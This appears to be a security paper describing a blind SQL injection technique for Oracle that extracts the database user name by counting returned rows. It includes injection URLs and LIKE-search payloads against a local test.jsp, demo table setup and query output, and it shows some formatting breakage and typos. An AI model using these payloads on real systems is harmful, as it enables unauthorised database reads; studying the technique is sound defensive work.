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#####
# Title: Content-based Blind Injection Using By Double Substring
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# Vendor Homepage: hackerstory.org
# Tested on: Oracle 10g Express Edition Release 10.2.0.1.0
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#####
# [0] Basic Concepts
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#####
Blind SQL injection is a type of SQL Injection attack that asks
the database true or false questions and determines the answer
based on the applications response (Content-based, Time-based)
In generally, Content-based Blind SQL injection should have the data
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# Example Of Content-based Blind SQL injection
http://localhost/test.jsp?keyword=1 and 1=1 [TRUE - One or more output]
http://localhost/test.jsp?keyword=1 and 1=2 [FALSE - No output]
```

If the data is more than the nine, using the Double Substring can attack

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# Example Of Content-based Blind Injection Using By Double Substring
http://localhost/test.jsp?keyword=1 and 1=1 [TRUE - Nine or more output]
http://localhost/test.jsp?keyword=1 and 1=2 [FALSE - No output]
```

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# The Comparison of ascii code size(larger or smaller) need 7 requests
# The shift(bitand) operation need 7 requests (link - https://www.exploit-
db.com/papers/17073/)
# The Double Substring Attack need 2 or 3 requests (Most DBMS capable of
pagin query)
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#####
# [1] Content-based Blind Injection Using By Double Substring
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#####
http://localhost/test.jsp?keyword=1 and rownum <=
(substr(ascii(substr(user,1,1)),1,1))--
```

```
# The result count is eight

http://localhost/test.jsp?keyword=1 and rownum <=
(substr(ascii(substr(user,1,1)),2,1))--
# The result count is three

# CURRENT DATABASE USER NAME's first character is 'S'
# You can find out one character through twice or three times Request
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#####
# [2] Sample Source
#####
It was tested on Oracle XE 10.2.0.1.0
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```
# create TABLE
SQL> create table t_user (id number(4), name varchar2(30));
```

```
# insert DATA
SQL> insert into t_user values(1,'janghw01');
SQL> insert into t_user values(2,'janghw02');
SQL> insert into t_user values(3,'janghw03');
SQL> insert into t_user values(4,'janghw04');
SQL> insert into t_user values(5,'janghw05');
SQL> insert into t_user values(6,'janghw06');
SQL> insert into t_user values(7,'janghw07');
SQL> insert into t_user values(8,'janghw08');
SQL> insert into t_user values(9,'janghw09');
SQL> commit;
```

```
# current database user name (by Oracle)
SQL> select user from dual;
```

```
USER
-----
SYSTEM
```

```
# current database user name's first ascii character
```

```
SQL> select ascii(substr(user,1,1)) from dual;
```

```
ASCII (SUBSTR (USER, 1, 1))
```

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```

```
83
```

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# first ascii character's total count
```

```
SQL> select * from t_user where l=1 and rownum <=
(substr(ascii(substr(user,1,1)),1,1));
```

```
ID NAME
```

```
-----
```

```
1 janghw01
```

```
2 janghw02
```

```
3 janghw03
```

```
4 janghw04
```

```
5 janghw05
```

```
6 janghw06
```

```
7 janghw07
```

```
8 janghw08
```

```
8 rows selected.
```

```
# second ascii character's total count
```

```
SQL> select * from t_user where l=1 and rownum <=
(substr(ascii(substr(user,1,1)),2,1));
```

```
ID NAME
```

```
-----
```

```
1 janghw01
```

```
2 janghw02
```

```
3 janghw03
```

```

#####
# [3] Attack Examples
#####
# request in like search
http://localhost/test.jsp?keyword=%' and rownum <=
(substr(ascii(substr(user,1,1)),1,1)) and '% '='
http://localhost/test.jsp?keyword=%' and rownum <=
(substr(ascii(substr(user,1,1)),2,1)) and '% '='

# sample paging query (must be nine or more count output)
SELECT *
  FROM (SELECT ROWNUM AS rnum, z.*
        FROM (SELECT *
              FROM t_user
              WHERE name like '%[keyword]%'
              ORDER BY ID DESC) z
        WHERE ROWNUM <= 9)
WHERE rnum >= 1

# sample paging query(result is 8 count) - The first ascii code of the
first character is 8
SELECT *
  FROM (SELECT ROWNUM AS rnum, z.*
        FROM (SELECT *
              FROM t_user
              WHERE name like '%%' and rownum <=
(substr(ascii(substr(user,1,1)),1,1)) and '% '='%'
              ORDER BY ID DESC) z
        WHERE ROWNUM <= 9)
WHERE rnum >= 1

# sample paging query(result is 3 count) - The secode ascii code of the
first character is 3
SELECT *
  FROM (SELECT ROWNUM AS rnum, z.*
        FROM (SELECT *

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```
FROM t_user
WHERE name like '%%' and rownum <=
(substr(ascii(substr(user,1,1)),2,1)) and '%']='%'
ORDER BY ID DESC) z
WHERE ROWNUM <= 9)
WHERE rnum >= 1
```